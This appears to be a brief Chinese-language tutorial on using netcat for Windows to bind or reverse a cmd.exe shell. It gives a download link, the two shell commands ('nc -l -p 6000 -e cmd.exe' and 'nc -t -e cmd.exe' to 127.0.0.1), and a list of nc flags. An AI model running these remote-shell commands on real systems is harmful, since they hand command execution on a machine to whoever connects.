nc 正向反向代理cmd.exe

windows版下载地址
https://eternallybored.org/misc/netcat/
nc -l -p 6000 -e cmd.exe
nc -t -e cmd.exe 127.0.0.1 60000
然后就可以通过tcp client，或者tcp server 发送命令了。
nc命令参数

-e 程序重定向
-t 用telnet来回应
-l 监听本地端口
-p 指定本地端口
-v 获得端口信息
-vv 获得详细的端口信息
-z 关闭输入输出
-n 指定IP地址
-w 设定超时时间
-u UDP端口